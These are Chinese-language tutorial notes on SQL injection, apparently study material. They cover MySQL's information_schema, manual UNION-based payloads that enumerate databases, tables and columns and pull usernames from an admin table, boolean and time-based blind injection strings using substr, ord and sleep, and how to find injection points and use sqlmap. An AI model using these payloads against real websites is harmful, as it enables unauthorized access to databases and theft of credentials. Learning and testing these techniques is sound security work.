数据库结构
#### 库:一堆表组成的数据集合
#### 表:类似Excal,有行和列组成的二维表
#### 字段:表中的列称为字段
#### 记录:表中的行称为记录
#### 单元格:行和列相交的地方成为单元格
在数据库里有一个系统库:information_schema
在它里面有一个存着所有库名的表:schemata
schemata_name 库名
在他里面有个存着所有表名的表:tables
表名
table_schema 表属于库
table_name 表名
在他里面还有一个存着所有字段名的表:columns
table_schema表属于库
table_name表名
column_name字段名
数据库简介-简单的查询语句
select * from表:从表中查询所有内容
where :有条件的从表中选取数据
and或or :条件有点多时候从表中选取数据
order by :根据指定的结果集/指定的列进行排序
limit 0,1 :从第一行起显示一条记录
union select :联合查询 将多个表拼在一起
手工注入-联合查询
查询相关内容
select 字段 from 表
字段 username,password
表 admin
猜询数据库版本
and 1=2 union select 1,version()
猜询数据库
and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1
猜询表名
and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1
and 1=2 union select 1,table_name from information_schema.tables where table_schema=‘库名’ limit 1,1
查询字段名
and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=“admin” limit 0,1
查询字段内容
and 1=2 union select 1,username from admin
原理-什么是盲注
有时目标存在注入,但在页面上没有任何回显,此时,我们需要用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。
盲注的种类
1.布尔盲注:布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息
2.时间盲注:界面返回值只有一种,True无论输入任何值,返回情况都会按照正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
盲注函数解析
length()函数 返回字符串的长度
?id=1 and length(database())>1
substr()截取字符串,从第一位截取一个
?id=1 and substr(database(),1,1)='k'
limit 0,1 显示第一条 substr(内容,1,1)显示第一个字符
ord()/ascli()返回字符的ascli码
?id=1 and ord(substr(database(),1,1))=107
时间型
sleep()将程序挂起一段时间n为n秒
if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行,第二个语句如果错误执行第三个语句
?id=1' and if(length(database())=8,0,sleep(5)) --+
盲注演示
猜解当前数据库名称长度
and (length(database()))>9#
猜解当前数据库名称:
and (ascli(substr(database(),1,1)))=107返回正常,说明数据库名称第一位是k
and substr(database(),1,1)='k'返回正常,说明数据库名称第二位是k
猜表名:
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 返回正常,说明当前数据库第一个表长度是6
and substr((select table_name from information_schema.tables where table_schema='xxx' limit 0,1),1,1)='I' 返回正常,说明数据库表名的第一个的第一位是I
猜字段名
and substr((select column_name from information_schema.columns where table_name='xxx'limit 0,1),1,1)='I'返回正常,说明xxx表中的列名称第一位是I
猜内容
and (ascli(substr((select YYY from xxx limit 0,1),1,1)))=122返回正常,说明zkaq列第一位是z
什么是sql注入?
·通过把sql命令插入到web表单提交或者输入域名或者页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令
·利用应用程序漏洞
·恶意sql命令注入到后台数据库引擎,并执行。
注入流程:
sql注入的原理
·程序命令和用户数据(即用户输入)之间没有做到泾渭分明。
·这使得攻击者有机会将程序命令当作用户输入的数据提交给web程序,以发号施令,为所欲为
·接受相关参数未经处理直接带入数据库查询操作
·以获得数据库的管理权限,然后提权至操作系统管理用户权限
·最终控制服务器操作系统
sql注入的方法–要确定的三件事
1.确定web应用程序所使用的技术
·注入攻击对程序设计语言或者硬件关系密切
2.查找注入点–web应用的用户输入方式比较多。
·明显的输入:HTML表单;
·隐藏的输入:HTTP头部、cookies、甚至对用户不可见的后端AJax请求来跟web应用进行交互。一般来说,所有HTTP的GET和POST都应当作为用户输入,为了找出一个web应用所有可能的用户输入,我们可以求助于web代理如Bp等。
3.查找可以用于注入的用户输入
·输入方式进行筛选,找出其中可以注入命令的那些输入方式。
sql注入方法
1.手工注入
·找到注入点,手工构造输入
2.利用工具注入
·流行注入工具sqlmap
显而易见的注入点
·http://www.*.com/.asp?id=x(ASP注入)
或者下面的链接
·http://www.*.com/.php?id=x(PHP注入)
·http://www.*.com/.jsp?id=x(JSP注入)
·http://www.*.com/.aspx?id=x(ASPX注入)
·http://www.****.com/index.asp?id=8&page=99(注:注入的时候确认是id参数还是page参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)
·http://www.****.com/index/new/id/8伪静态
·http://www.****.com/index/new/php-8.html伪静态
sql注入分类
1.登陆注入
2.cms注入:依据框架来展示内容具有文章列表
3.按照注入点值的属性分类
·数值型sql=‘select * from admin where id = 1’
·字符串型sql=‘select * from 表 where id = “xxx”’
4.基于从服务器返回的内容
·有回显(基于错误的)
·无回显(盲注)
5.按照注入的程度和顺序
·一阶注入
·二阶注入